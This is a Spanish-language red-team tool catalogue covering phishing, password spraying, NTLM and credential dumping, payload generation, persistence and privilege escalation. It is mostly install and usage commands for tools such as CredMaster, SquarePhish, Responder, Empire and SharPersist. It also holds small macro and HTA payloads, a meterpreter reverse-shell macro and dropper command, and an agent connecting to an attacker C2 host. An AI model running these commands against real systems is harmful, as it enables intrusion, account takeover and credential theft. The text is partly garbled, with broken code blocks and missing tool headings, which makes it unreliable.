Microsoft Word tiene la capacidad de incluir imágenes desde ubicaciones remotas, incluyendo una imagen remota alojada en un servidor SMB controlado por un atacante. Esto te brinda la oportunidad de escuchar y capturar hashes NTLM que se envían cuando una víctima autenticada abre el documento de Word y renderiza la imagen.
**Instalación:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Uso:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
*Imagen usada de https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/*
### [🔙](#tool-list)[NTAPI Undocumented Functions](http://undocumented.ntinternals.net/)
Este sitio proporciona información sobre aspectos internos no documentados de Windows, llamadas al sistema, estructuras de datos y otros detalles de bajo nivel del sistema operativo Windows.
Puede ser un recurso valioso para quienes deseen explorar los aspectos internos de Windows con diversos fines, incluido el análisis de vulnerabilidades, el desarrollo de exploits y la escalada de privilegios.
Al desarrollar exploits, comprender los aspectos internos del sistema objetivo es crucial. Este sitio puede ayudar a desarrollar exploits aprovechando los aspectos no documentados de bajo nivel de Windows.
**Uso:**
Visite [http://undocumented.ntinternals.net/](http://undocumented.ntinternals.net/)
*Imagen usada de http://undocumented.ntinternals.net/*
### [🔙](#tool-list)[Kernel Callback Functions](https://codemachine.com/articles/kernel_callback_functions.html)
Esta nota técnica proporciona una lista completa de todas las API exportadas por el kernel de Windows para que los escritores de controladores registren rutinas de devolución de llamada que son invocadas por componentes del kernel en diversas circunstancias.
La mayoría de estas rutinas están documentadas en el Windows Driver Kit (WDK), pero algunas son para uso de controladores integrados.
Las funciones no documentadas se describen brevemente, mientras que las documentadas solo se enumeran aquí como referencia.
**Uso:**
Visite [https://codemachine.com/articles/kernel_callback_functions.html](https://codemachine.com/articles/kernel_callback_functions.html)
*Imagen usada de https://codemachine.com*
### [🔙](#tool-list)[OffensiveVBA](https://github.com/S3cur3Th1sSh1t/OffensiveVBA)
Una colección de técnicas ofensivas, scripts y enlaces útiles para lograr ejecución de código y evasión de defensas mediante macros de Office.
**Uso:**
Visite [https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo](https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo)
*Imagen usada de https://github.com/S3cur3Th1sSh1t*
### [🔙](#tool-list)WSH
**Creando payload:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Ejecutar:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Creando payload:**```html
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
Ejecutar: Ejecutar archivo
Creando payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Ejecutar:** Establecer la función en Auto_Open() en un documento habilitado para macros
Acceso Inicial
====================
### [🔙](#tool-list)[CredMaster](https://github.com/knavesec/CredMaster)
Lanza un ataque de pulverización de contraseñas / fuerza bruta a través de proxies de paso de Amazon AWS, cambiando la dirección IP solicitante para cada intento de autenticación. Esto crea dinámicamente APIs de FireProx para pulverizaciones de contraseñas más evasivas.
CredMaster proporciona un método para ejecutar pulverizaciones de contraseñas anónimas contra puntos finales en una herramienta simple y fácil de usar. La herramienta FireProx proporciona la IP rotativa de la solicitud, mientras que la base de CredMaster falsifica toda la demás información de identificación.
Características:
- Soporta completamente todas las regiones de AWS
- Genera automáticamente APIs para el paso a través de proxy
- Falsifica números de seguimiento de API, IPs de reenvío y otros encabezados de seguimiento de proxy
- Procesamiento multi-hilo
- Contadores de retardo de contraseña y configuración para evadir la política de bloqueo
- Añade fácilmente nuevos plugins
- Completamente anónimo
**Instalación:**```bash
git clone https://github.com/knavesec/CredMaster;cd CredMaster;pip install -r requirements.txt
Para obtener instrucciones completas de instalación, consulta aquí.
Uso:```bash python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} python3 credmaster.py --config config.json
Esta herramienta requiere claves de acceso a la API de AWS; una guía sobre cómo adquirir estas claves se puede encontrar aquí: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b
*Imagen usada de https://github.com/knavesec/CredMaster/wiki*
### [🔙](#tool-list)[TREVORspray](https://github.com/blacklanternsecurity/TREVORspray)
TREVORspray es un rociador de contraseñas modular con soporte para hilos, proxy SSH, módulos de botín, ¡y más!
**Instalación:**```bash
pip install https://github.com/blacklanternsecurity/TREVORspray
Uso:```bash
python3 ./trevorspray --recon evilcorp.com
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token
Para obtener instrucciones completas de uso, consulte [aquí](https://github.com/blacklanternsecurity/TREVORspray?tab=readme-ov-file#how-to---o365).
*Imagen usada de https://github.com/blacklanternsecurity/TREVORspray*
### [🔙](#tool-list)[evilqr](https://github.com/kgretzky/evilqr)
Kit que demuestra otro enfoque de un ataque QRLJacking, permitiendo realizar una toma de control remota de cuentas, mediante phishing de códigos QR de inicio de sesión.
Consiste en una extensión de navegador utilizada por el atacante para extraer el código QR de inicio de sesión y una aplicación servidor, que recupera los códigos QR de inicio de sesión para mostrarlos en las páginas de phishing alojadas.
Demostración [video](https://www.youtube.com/watch?v=8pfodWzqMcU)
**Instalación: (Extensión)**
Puede cargar la extensión en Chrome, mediante la función `Load unpacked`:
https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked
Una vez instalada la extensión, asegúrese de fijar su icono en la barra de extensiones de Chrome, de modo que el icono esté siempre visible.
**Instalación: (Servidor)**```bash
git clone https://github.com/kgretzky/evilqr;cd evilqr/server/;build_run.bat
Uso:
./server/build/evilqr-server3. Asegúrate de que el código QR de inicio de sesión sea visible y haz clic en el icono de la extensión **Evil QR** en la barra de herramientas. Si se reconoce el código QR, el icono debería iluminarse con colores.
4. Abre la URL de la página de phishing del servidor: `http://127.0.0.1:35000` (por defecto)
*Imagen utilizada de https://breakdev.org/evilqr-phishing/*
### [🔙](#tool-list)[CUPP](https://github.com/Mebus/cupp)
La forma más común de autenticación es la combinación de un nombre de usuario y una contraseña o frase de contraseña. Las contraseñas a veces se pueden adivinar perfilando al usuario, como una fecha de nacimiento, apodo, dirección, nombre de una mascota o familiar, o una palabra común como Dios, amor, dinero o contraseña.
Por eso nació CUPP.
**Instalación:**```bash
git clone https://github.com/Mebus/cupp;cd cupp
Uso:```bash
python3 ./cupp.py -i
*Imagen usada de https://github.com/Mebus/cupp*
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Bash Bunny es una herramienta de ataque físico USB y un sistema de entrega de payloads multifunción. Está diseñado para enchufarse al puerto USB de una computadora y puede programarse para realizar diversas funciones, incluyendo manipular y exfiltrar datos, instalar malware y eludir medidas de seguridad.
[hackinglab: Bash Bunny – Guía](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Documentación de Hak5](https://docs.hak5.org/bash-bunny/)
[Repositorio de payloads útil](https://github.com/hak5/bashbunny-payloads)
[Página del producto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish es un potente framework de phishing de código abierto que facilita la evaluación de la exposición de su organización al phishing. (evilginx2) Framework independiente de ataque man-in-the-middle utilizado para suplantar credenciales de inicio de sesión junto con cookies de sesión, permitiendo eludir la autenticación de dos factores.
**Instalación:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Uso:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Este framework es excelente para crear campañas de acceso inicial, 'SET tiene una serie de vectores de ataque personalizados que te permiten hacer un ataque creíble rápidamente'.
**Instalación:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Uso:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Buena herramienta para ataques de fuerza bruta de inicio de sesión. Puede atacar varios servicios como SSH, FTP, TELNET, HTTP, etc.
**Instalación:**```bash
sudo apt install hydra
Uso:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish es una herramienta de phishing avanzada que utiliza una técnica que combina el flujo de autenticación de código de dispositivo OAuth y códigos QR (Vea [PhishInSuits](https://github.com/secureworks/PhishInSuits) para más información sobre el flujo de código de dispositivo OAuth para ataques de phishing).
Pasos del ataque:
- Enviar código QR malicioso a la víctima
- La víctima escanea el código QR con un dispositivo móvil
- La víctima es dirigida al servidor controlado por el atacante (desencadenando el proceso de flujo de autenticación del código de dispositivo OAuth)
- Se envía por correo electrónico a la víctima un código MFA (desencadenando el temporizador de 15 minutos del flujo de código de dispositivo OAuth)
- El atacante consulta la autenticación
- La víctima ingresa el código en el sitio web legítimo de Microsoft
- El atacante guarda el token de autenticación
**Instalación:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Antes de usar cualquiera de los módulos, actualice la información requerida en el archivo settings.config indicado con Required.
Uso (Módulo de correo electrónico):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Uso (Módulo del Servidor):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher es una herramienta que permite a los atacantes crear y enviar correos electrónicos de phishing a las víctimas para obtener información sensible.
Incluye funciones como plantillas personalizables, gestión de campañas y capacidades de envío de correos electrónicos, lo que la convierte en una herramienta potente y fácil de usar para llevar a cabo ataques de phishing. Con King Phisher, los atacantes pueden dirigirse a individuos u organizaciones con correos de phishing convincentes y específicos, aumentando las posibilidades de éxito en sus ataques.
Instalación (Linux - Cliente y Servidor):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Uso:**
Una vez que King Phisher haya sido instalado, siga la [página wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) para configurar SSH, la base de datos, el servidor SMTP, etc.
Ejecución
====================
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder es una herramienta para envenenar los protocolos LLMNR y NBT-NS en una red, permitiendo la captura de credenciales y la ejecución de código arbitrario.
Los protocolos LLMNR (Link-Local Multicast Name Resolution) y NBT-NS (NetBIOS Name Service) son utilizados por los sistemas Windows para resolver nombres de host a direcciones IP en una red local. Si un nombre de host no puede resolverse mediante estos protocolos, el sistema difundirá una solicitud para el nombre de host en la red local.
Responder escucha estas transmisiones y responde con una dirección IP falsa, engañando al sistema solicitante para que envíe sus credenciales al atacante.
**Instalación:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Uso:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Información de uso completa se puede encontrar [aquí](https://github.com/SpiderLabs/Responder#usage).
*Imagen utilizada de https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/*
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Una utilidad que forma parte de la biblioteca Impacket y que se puede utilizar para extraer hashes de contraseñas y otros secretos de un sistema Windows.
Lo hace interactuando con la base de datos del Administrador de cuentas de seguridad (SAM) en el sistema y extrayendo los hashes de contraseñas y otra información, como:
- Hashes de contraseñas para cuentas locales
- Tickets y claves de Kerberos
- Secretos LSA
**Instalación:**```bash
python3 -m pip install impacket
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
*Imagen usada de https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy*
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM es una herramienta que proporciona una interfaz de línea de comandos para Windows Remote Management (WinRM: *Un servicio que permite a los administradores ejecutar comandos de forma remota en una máquina Windows*).
Evil-WinRM permite a un atacante conectarse de forma remota a una máquina Windows usando WinRM y ejecutar comandos arbitrarios.
Algunas características incluyen:
- Cargar scripts de PowerShell en memoria
- Cargar archivos dll en memoria evadiendo algunos AVs
- Cargar payloads x64
- Soporte para Pass-the-hash
- Subir y descargar archivos locales y remotos
**Instalación: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Instalar: (gema de Ruby)```bash gem install evil-winrm
Las instrucciones de instalación alternativa se pueden encontrar [aquí](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Uso:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Puedes encontrar la documentación de uso completa aquí.
Imagen usada de https://korbinian-spielvogel.de/posts/heist-writeup/
Una herramienta para la ejecución en memoria de archivos VBScript, JScript, EXE, DLL y ensamblados dotNET. Puede utilizarse para cargar y ejecutar cargas útiles personalizadas en sistemas objetivo sin necesidad de escribir archivos en el disco.
Instalación: (Windows)```bash git clone http://github.com/thewover/donut.git
Para generar la plantilla del cargador, la biblioteca dinámica donut.dll, la biblioteca estática donut.lib y el generador donut.exe. Inicie un Símbolo del sistema para desarrolladores de Microsoft Visual Studio x64, cambie al directorio donde clonó el repositorio de Donut e ingrese lo siguiente:```bash
nmake -f Makefile.msvc
Para hacer lo mismo, excepto usando MinGW-64 en Windows o Linux, cambie al directorio donde clonó el repositorio de Donut e ingrese lo siguiente:```bash make -f Makefile.mingw
**Instalación: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Para obtener información completa sobre el uso, consulta la [Página de GitHub](https://github.com/TheWover/donut/#4-usage) de donut.
Consulta [una publicación reciente en el blog](https://thewover.github.io/Bear-Claw/) de The Wover para más información.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Una herramienta utilizada para automatizar la ofuscación y generación de documentos de Office, scripts VB, accesos directos y otros formatos para red teaming.
**Instalación: (Binario)**
1. Obtén el binario más reciente desde [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Descarga el binario en un PC con Microsoft Office genuino instalado.
3. Abre la consola, cambia al directorio del binario y ejecuta el binario.
**Instalación: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Uso:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Una colección de scripts y módulos de PowerShell que se pueden utilizar para lograr diversos objetivos de red teaming.
Algunas de las características de PowerSploit:
- Volcar hashes de contraseñas y extraer contraseñas en texto claro de la memoria
- Escalar privilegios y eludir controles de seguridad
- Ejecutar código arbitrario de PowerShell y eludir restricciones de ejecución
- Realizar reconocimiento y descubrimiento de redes
- Generar cargas útiles y ejecutar exploits
**Instalación:** *1. Guardar en la carpeta de módulos de PowerShell*
Primero necesitarás descargar la [Carpeta de PowerSploit](https://github.com/PowerShellMafia/PowerSploit) y guardarla en tu carpeta de módulos de PowerShell.
La ruta de tu carpeta de módulos de PowerShell se puede encontrar con el siguiente comando:```
$Env:PSModulePath
Instalar: 2. Instalar PowerSploit como un módulo de PowerShell
A continuación, deberá instalar el módulo PowerSploit (use el nombre de la carpeta descargada).
Nota: Su política de ejecución de PowerShell podría bloquearlo, para solucionarlo ejecute el siguiente comando.``` powershell.exe -ep bypass
Ahora puedes instalar el módulo PowerSploit.```
Import-Module PowerSploit
Uso:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Una herramienta que puede usarse para realizar varias acciones relacionadas con entornos de Microsoft Active Directory (AD), como volcar hashes de contraseñas, crear/eliminar usuarios y modificar propiedades de usuarios.
Algunas de las características de Rubeus:
- Kerberoasting
- Golden ticket attacks
- Silver ticket attacks
**Instalación: (Descargar)**
Puede instalar el binario no oficial precompilado de Rubeus [aquí](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Instalación: (Compilar)**
Rubeus es compatible con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el [proyecto .sln](https://github.com/GhostPack/Rubeus) de rubeus, elija "Release" y compile.
**Uso:**```
Rubeus.exe -h
Una buena herramienta para verificar el endpoint de una víctima en busca de vulnerabilidades relacionadas con procesos de alta integridad, grupos, rutas secuestrables, etc.
Instalación: (Descarga)
Puede instalar el binario precompilado no oficial de SharpUp aquí.
Instalación: (Compilar)
SharpUp es compatible con Visual Studio 2015 Community Edition. Abra el archivo .sln del proyecto de SharpUp, seleccione "Release" y compile.
Uso:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) es un sistema de gestión de bases de datos relacional desarrollado y comercializado por Microsoft.
Este toolkit en C# para MS-SQL está diseñado para reconocimiento ofensivo y post-explotación. Para obtener información detallada sobre el uso de cada técnica, consulta la [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Instalación: (Binario)**
Puedes descargar la última versión binaria desde [aquí](https://github.com/skahwah/SQLRecon/releases).
**Uso:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
La información completa de uso se puede encontrar en la wiki.
La información de uso de los módulos de la herramienta se puede encontrar aquí.
Imagen utilizada desde la página de ayuda de SQLRecon
Este recurso es una colección de las técnicas más comunes y conocidas para evadir AppLocker.
Dado que AppLocker se puede configurar de diferentes maneras, @api0cradle mantiene una lista verificada de evasiones (que funcionan contra las reglas predeterminadas de AppLocker) y una lista con posibles técnicas de evasión (según la configuración) o que alguien afirma ser una evasión.
También tienen una lista de técnicas de evasión genéricas, así como una lista heredada de métodos para ejecutar a través de DLL.
Listas indexadas
Imagen utilizada desde https://github.com/api0cradle/UltimateAppLockerByPassList
Un lanzador basado en JavaScript y VBScript para Empire, que se ejecuta dentro de su propio host de PowerShell incrustado.
Ambos lanzadores se ejecutan dentro de su propio host de PowerShell incrustado, por lo que no necesitamos PowerShell.exe.
Esto puede ser útil cuando una empresa bloquea PowerShell.exe y/o utiliza una solución de listas blancas de aplicaciones, pero no bloquea la ejecución de archivos JS/VBS.
Uso:
Para la versión de JavaScript usa la siguiente Variable:```javascript var EncodedPayload = ""
Para la versión de VBScript usa la siguiente Variable:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Imagen usada de https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
El objetivo de este proyecto es generar archivos .html que contienen un archivo HTA cifrado.
La idea es que cuando su objetivo visite la página, la clave se obtiene y el HTA se descifra dinámicamente dentro del navegador y se envía directamente al usuario.
Esta es una técnica de evasión para sortear la inspección de contenido/tipo de archivo implementada por algunos dispositivos de seguridad.
Más información técnica aquí.
Instalación:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Uso:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Imagen usada de https://github.com/nccgroup/demiguise
PowerZure es un proyecto de PowerShell creado para evaluar y explotar recursos dentro de la plataforma en la nube de Microsoft, Azure. PowerZure se creó por la necesidad de un framework que pueda realizar tanto reconocimiento como explotación de Azure, AzureAD y los recursos asociados.
No hay ninguna razón para ejecutar PowerZure en la máquina de la víctima. La autenticación se realiza mediante el uso de un archivo accesstoken.json existente o iniciando sesión a través del prompt al iniciar sesión en Azure, lo que significa que puedes usar PowerZure de manera segura para interactuar con la instancia en la nube de la víctima desde tu máquina de operación.
Instalación:```bash Install-Module -Name Az git clone https://github.com/hausec/PowerZure cd PowerZure ipmo C:\path\to\PowerZure.psd1
**Uso:**```bash
# Get a list of AzureAD and Azure objects you have access to
Get-AzureTarget
Blog - Atacando Azure, Azure AD, y Presentando PowerZure
Imagen usada de https://hakin9.org
Impacket proporciona un conjunto de enlaces Python de bajo nivel para varios protocolos de red, incluyendo SMB, Kerberos y LDAP, así como bibliotecas de alto nivel para interactuar con servicios de red y realizar tareas específicas como el volcado de hashes de contraseñas y la creación de recursos compartidos de red.
También incluye varias herramientas de línea de comandos que pueden utilizarse para realizar diversas tareas como el volcado de bases de datos SAM, la enumeración de confianzas de dominio y el descifrado de contraseñas de Windows.
Instalación:```bash python3 -m pip install impacket
**Instalación: (Con scripts de ejemplo)**
Descarga y extrae [el paquete](https://github.com/fortra/impacket), luego navega a la carpeta de instalación y ejecuta...```bash
python3 -m pip install .
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Genial [cheat sheet](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) para el uso de Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire es un framework de post-explotación que permite generar payloads para establecer conexiones remotas con sistemas víctimas.
Una vez que un payload ha sido ejecutado en un sistema víctima, establece una conexión de vuelta al servidor Empire, que luego puede usarse para emitir comandos y controlar el sistema objetivo.
Empire también incluye una serie de módulos y scripts integrados que pueden usarse para realizar tareas específicas, como volcar hashes de contraseñas, acceder al registro de Windows y extraer datos.
**Instalación:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Uso:```bash
./empire
list agents
list listeners
Nice hoja de referencia de uso de [HarmJoy](https://github.com/HarmJ0y) [aquí](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Un kit de herramientas de persistencia para Windows escrito en C#.
El proyecto tiene una [wiki](https://github.com/mandiant/SharPersist/wiki).
**Instalación: (Binario)**
Puedes encontrar la versión más reciente [aquí](https://github.com/mandiant/SharPersist/releases).
**Instalación: (Compilar)**
- Descarga los archivos del proyecto desde el [Repositorio de GitHub](https://github.com/mandiant/SharPersist).
- Abre el proyecto de Visual Studio y ve a "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Ve a "NuGet Package Manager" --> "Package Sources"
- Añade un origen de paquetes con la URL "https://api.nuget.org/v3/index.json"
- Instala el paquete NuGet Costura.Fody. Se necesita la versión anterior de Costura.Fody (3.3.3) para que no necesites Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Instala el paquete TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- ¡Ahora puedes compilar el proyecto tú mismo!
**Uso:**
Una lista completa de ejemplos de uso se puede encontrar [aquí](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng es una herramienta simple, ligera y rápida que permite a los pentesters establecer túneles desde una conexión TCP/TLS inversa usando una interfaz tun (sin necesidad de SOCKS).
En lugar de usar un proxy SOCKS o reenviadores TCP/UDP, Ligolo-ng crea una pila de red en espacio de usuario usando Gvisor.
Al ejecutar el servidor relay/proxy, se utiliza una interfaz tun; los paquetes enviados a esta interfaz son traducidos y luego transmitidos a la red remota del agente.
Instalación: (Descarga)
Los binarios precompilados (Windows/Linux/macOS) están disponibles en la página de lanzamientos.
Instalación: (Compilar)
Para compilar ligolo-ng (se requiere Go >= 1.17):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Configuración: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configuración: (Windows)
Necesitas descargar el controlador Wintun (usado por WireGuard) y colocar el archivo wintun.dll en la misma carpeta que Ligolo (asegúrate de usar la arquitectura correcta).
Configuración: (Servidor proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Uso:**
*Inicie el agente en su computadora objetivo (víctima) (¡no se requieren privilegios!):*```bash
./agent -connect attacker_c2_server.com:11601
Una sesión debería aparecer en el servidor proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Usa el comando session para seleccionar el agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Full usage information can be found here.
Imagen utilizada de https://github.com/nicocha30/ligolo-ng#demo
"Accenture creó una herramienta llamada Spartacus, que encuentra oportunidades de secuestro de DLL en Windows. Usando Spartacus como punto de partida, creamos Crassus para extender las capacidades de encontrar escalada de privilegios en Windows más allá de simplemente buscar archivos faltantes. Las ACL utilizadas por archivos y directorios de procesos privilegiados pueden encontrar más que solo buscar archivos faltantes para lograr el objetivo." - Enlace
Instalación: (Compilación)
Crassus fue desarrollado como un proyecto de Visual Studio 2019. Para compilar Crassus.exe:
Instalación: (precompilado)
Si confía en ejecutar el código de otras personas sin saber lo que hace, Crassus.exe está proporcionado en este repositorio.
Uso:
Enable Boot Logging.Ctrl-R.boot.PML. La razón para volver a guardar el archivo de registro es doble:
Imagen utilizada de https://github.com/vu-ls/Crassus?tab=readme-ov-file#screenshots
LinPEAS es una herramienta de escalada de privilegios detallada y útil para encontrar rutas de escalada local en endpoints Linux.
Instalación + Uso:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS es una agradable y detallada herramienta de escalada de privilegios para encontrar rutas locales de privesc en endpoints Windows.
**Instalación + Uso:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration es otra buena herramienta de privesc para Linux, menos verbosa.
Instalación + Uso:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify es una herramienta en C# para enumerar y abusar de configuraciones incorrectas en Servicios de Certificado de Active Directory (AD CS).
Certify está diseñado para usarse junto con otras herramientas y técnicas de equipo rojo, como Mimikatz y PowerShell, para permitir a los miembros del equipo rojo realizar varios tipos de ataques, incluidos ataques de intermediario, ataques de suplantación y ataques de escalada de privilegios.
**Características clave de Certify:**
- Creación de certificados
- Firma de certificados
- Importación de certificados
- Modificación de la confianza de certificados
**Instalación: (Compilar)**
Certify es compatible con [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el proyecto Certify [.sln](https://github.com/GhostPack/Certify), elija "Release" y compile.
**Instalación: (Ejecutar Certify a través de PowerShell)**
